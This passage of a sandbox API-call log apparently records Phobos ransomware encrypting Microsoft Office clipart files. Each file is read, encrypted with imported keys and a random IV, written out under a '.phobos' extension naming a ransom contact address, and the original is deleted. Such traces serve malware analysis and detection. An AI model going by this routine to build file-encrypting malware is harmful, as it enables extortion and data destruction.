hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0057.967] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0057.967] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0057.967] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10caf0) returned 1 [0057.967] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0057.967] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xd58, lpOverlapped=0x0) returned 1 [0057.971] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xd60, dwBufLen=0xd60 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xd60) returned 1 [0057.971] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xd60, lpOverlapped=0x0) returned 1 [0057.972] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cab0) returned 1 [0057.972] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0057.972] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0057.972] CryptDestroyKey (hKey=0x10cab0) returned 1 [0057.972] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0057.972] CryptDestroyKey (hKey=0x10caf0) returned 1 [0057.972] CloseHandle (hObject=0x308) returned 1 [0057.972] CloseHandle (hObject=0x320) returned 1 [0057.973] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0057.974] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0057.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0057.975] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=2636) returned 1 [0057.975] CloseHandle (hObject=0x320) returned 1 [0057.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 0x220 [0057.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0057.975] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0057.975] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0057.975] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0057.975] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0057.975] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d170) returned 1 [0057.975] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0057.976] ReadFile (in: hFile=0x320, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xa4c, lpOverlapped=0x0) returned 1 [0057.986] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xa50, dwBufLen=0xa50 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xa50) returned 1 [0057.986] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xa50, lpOverlapped=0x0) returned 1 [0057.987] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d0b0) returned 1 [0057.987] CryptSetKeyParam (hKey=0x10d0b0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0057.987] CryptEncrypt (in: hKey=0x10d0b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0057.987] CryptDestroyKey (hKey=0x10d0b0) returned 1 [0057.987] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0057.987] CryptDestroyKey (hKey=0x10d170) returned 1 [0057.987] CloseHandle (hObject=0x320) returned 1 [0057.987] CloseHandle (hObject=0x308) returned 1 [0057.988] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0057.989] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0057.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0057.990] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=6636) returned 1 [0057.990] CloseHandle (hObject=0x308) returned 1 [0057.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 0x220 [0057.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0057.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0057.990] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0057.990] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0057.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0057.991] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cdf0) returned 1 [0057.991] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0057.991] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x19ec, lpOverlapped=0x0) returned 1 [0057.992] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x19f0, dwBufLen=0x19f0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x19f0) returned 1 [0057.992] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x19f0, lpOverlapped=0x0) returned 1 [0057.993] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d1f0) returned 1 [0057.993] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0057.993] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0057.993] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0057.993] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0057.993] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0057.993] CloseHandle (hObject=0x308) returned 1 [0057.993] CloseHandle (hObject=0x320) returned 1 [0057.994] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0057.995] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0057.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0057.995] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=4612) returned 1 [0057.995] CloseHandle (hObject=0x320) returned 1 [0057.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 0x220 [0057.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0057.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0057.996] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0057.996] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0057.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0057.996] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cbb0) returned 1 [0057.996] CryptSetKeyParam (hKey=0x10cbb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0057.996] ReadFile (in: hFile=0x320, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x1204, lpOverlapped=0x0) returned 1 [0058.001] CryptEncrypt (in: hKey=0x10cbb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1210, dwBufLen=0x1210 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1210) returned 1 [0058.001] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x1210, lpOverlapped=0x0) returned 1 [0058.002] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d170) returned 1 [0058.003] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.003] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0058.003] CryptDestroyKey (hKey=0x10d170) returned 1 [0058.003] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0058.003] CryptDestroyKey (hKey=0x10cbb0) returned 1 [0058.003] CloseHandle (hObject=0x320) returned 1 [0058.003] CloseHandle (hObject=0x308) returned 1 [0058.004] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 1 [0058.005] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0058.005] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0058.245] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=3144) returned 1 [0058.245] CloseHandle (hObject=0x2e4) returned 1 [0058.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 0x220 [0058.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0058.246] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.246] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.246] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cdf0) returned 1 [0058.246] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.246] ReadFile (in: hFile=0x2e4, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xc48, lpOverlapped=0x0) returned 1 [0058.267] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xc50, dwBufLen=0xc50 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xc50) returned 1 [0058.267] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xc50, lpOverlapped=0x0) returned 1 [0058.269] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d1f0) returned 1 [0058.269] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.269] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0058.269] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0058.269] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0058.269] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0058.269] CloseHandle (hObject=0x2e4) returned 1 [0058.269] CloseHandle (hObject=0x308) returned 1 [0058.270] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 1 [0058.271] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0058.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.282] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=7804) returned 1 [0058.282] CloseHandle (hObject=0x308) returned 1 [0058.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 0x220 [0058.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.283] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.283] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0058.283] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d1b0) returned 1 [0058.283] CryptSetKeyParam (hKey=0x10d1b0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.283] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x1e7c, lpOverlapped=0x0) returned 1 [0058.309] CryptEncrypt (in: hKey=0x10d1b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1e80, dwBufLen=0x1e80 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1e80) returned 1 [0058.309] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x1e80, lpOverlapped=0x0) returned 1 [0058.310] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ccf0) returned 1 [0058.311] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.311] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0058.311] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0058.311] WriteFile (in: 